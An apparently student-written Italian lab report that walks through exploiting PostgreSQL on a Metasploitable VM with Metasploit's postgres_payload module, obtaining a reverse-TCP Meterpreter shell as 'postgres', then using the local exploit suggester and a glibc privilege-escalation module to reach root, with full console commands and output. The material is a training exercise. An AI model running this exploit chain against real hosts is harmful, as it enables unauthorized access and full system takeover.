Privilege escalation

Esercizio di oggi:

Usa il modulo exploit/linux/postgres/postgres_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable

Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target.

Escalation di privilegi:

Una volta ottenuta la sessione Meterpreter, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.

Esegui il comando getuid per verificare l'identità dell'utente corrente.

Msfconsole


File Actions Edit View Help
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Writing a custom module? After editing your module, why not try the reload command
https://metasploit.com
=[metasploit v6.4.18-dev]
+ -- --=[2437 exploits - 1255 auxiliary - 429 post]
+ -- --=[1471 payloads - 47 encoders - 11 nops]
+ -- --=[9 evasion]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search exploit/linux/postgres/postgres_payload
Matching Modules
Name Disclosure Date Rank Check Description
0 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
1 _ target: Linux x86 . . . .
2 _ target: Linux x86_64 . . . .
Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x86_64'
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.1.220
rhosts => 192.168.1.220
msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.169.1.102
lhost => 192.169.1.102
msf6 exploit(linux/postgres/postgres_payload) > exploit
[-] Handler failed to bind to 192.169.1.102:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] 192.168.1.220:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/cSIBYpqE.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.220
[*] Meterpreter session 1 opened (192.168.1.102:4444 → 192.168.1.220:34819) at 2024-11-13 10:55:20 -0500
meterpreter > getuid
Server username: postgres
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/postgres/postgres_payload) > sessions
Active sessions
Id Name Type Information Connection
1 meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.1.102:4444 → 192.168.1.220:34819 (192.168.1.220)

Suggester / Root

```
msf6 exploit(linux/postgres/postgres_payload) > search suggester

Matching Modules
================

   #  Name                                       Disclosure Date  Rank    Check  Description
   -  ----                                       ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester   .                normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 exploit(linux/postgres/postgres_payload) > use 0
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.1.220 - Collecting local exploits for x86/linux ...
[*] 192.168.1.220 - 196 exploit checks are being tried ...
[+] 192.168.1.220 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.220 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.220 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.1.220 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.1.220 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.1.220 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.1.220 - Valid modules for session 1:
================================================

 #   Name                                                  Potentially Vulnerable?  Check Result
 -   ----                                                  -----------------------  ------------
 1   exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  Yes                      The target appears to be vulnerable.
```

```
 58  exploit/linux/local/vmwgfx_fd_priv_esc                No                       The target is not exploitable. Kernel version 2.6.24-16-server i
e
 59  exploit/linux/local/zimbra_postfix_priv_esc           No                       The target is not exploitable.
 60  exploit/linux/local/zimbra_slapper_priv_esc           No                       The target is not exploitable.
 61  exploit/linux/local/zpanel_zsudo                      No                       The target is not exploitable.
 62  exploit/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc  No                 The target is not exploitable. Directory '/opt/sysinfo' does not
 63  exploit/multi/local/xorg_x11_suid_server              No                       The target is not exploitable.
 64  exploit/multi/local/xorg_x11_suid_server_modulepath   No                       The target is not exploitable.

[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show targets

Exploit targets:
================

    Id  Name
    --  ----
=>  0   Automatic
    1   Linux x86
    2   Linux x64


msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set target 1
target => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload payload/linux/x86/meterpreter_reverse_tcp
payload => linux/x86/meterpreter_reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.1.102:4444
[*] Meterpreter session 2 opened (192.168.1.102:4444 -> 192.168.1.220:46862) at 2024-11-13 10:59:13 -0500
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.kSf1erd2A' (1271 bytes) ...
[*] Writing '/tmp/.RygvF' (291 bytes) ...
[*] Writing '/tmp/.Adi8c8L' (1137332 bytes) ...
[*] Launching exploit ...
[*] Meterpreter session 3 opened (192.168.1.102:4444 -> 192.168.1.220:46863) at 2024-11-13 10:59:18 -0500

meterpreter > getuid
Server username: root
meterpreter >
```

Relazione

Oggi ho sfruttato la vulnerabilità nel servizio PostgreSQL di Metasploitable utilizzando il modulo exploit/linux/postgres/postgres_payload di Metasploit, ottenendo una sessione Meterpreter.

1. Dopo aver acquisito l'accesso, per eseguire l'escalation dei privilegi a root, sono dovuto entrare in modalità background con il comando background.
2. Successivamente, ho utilizzato il modulo suggester per individuare un exploit adatto a eseguire l'escalation dei privilegi.
3. Una volta eseguito l'exploit, ho confermato il successo dell'escalation con il comando getuid, ottenendo così privilegi di root.

Questo esercizio dimostra come sia possibile sfruttare una vulnerabilità in un servizio per ottenere accesso non autorizzato e poi eseguire l'escalation dei privilegi su un sistema.

Daniel_Gabriel_Costeanu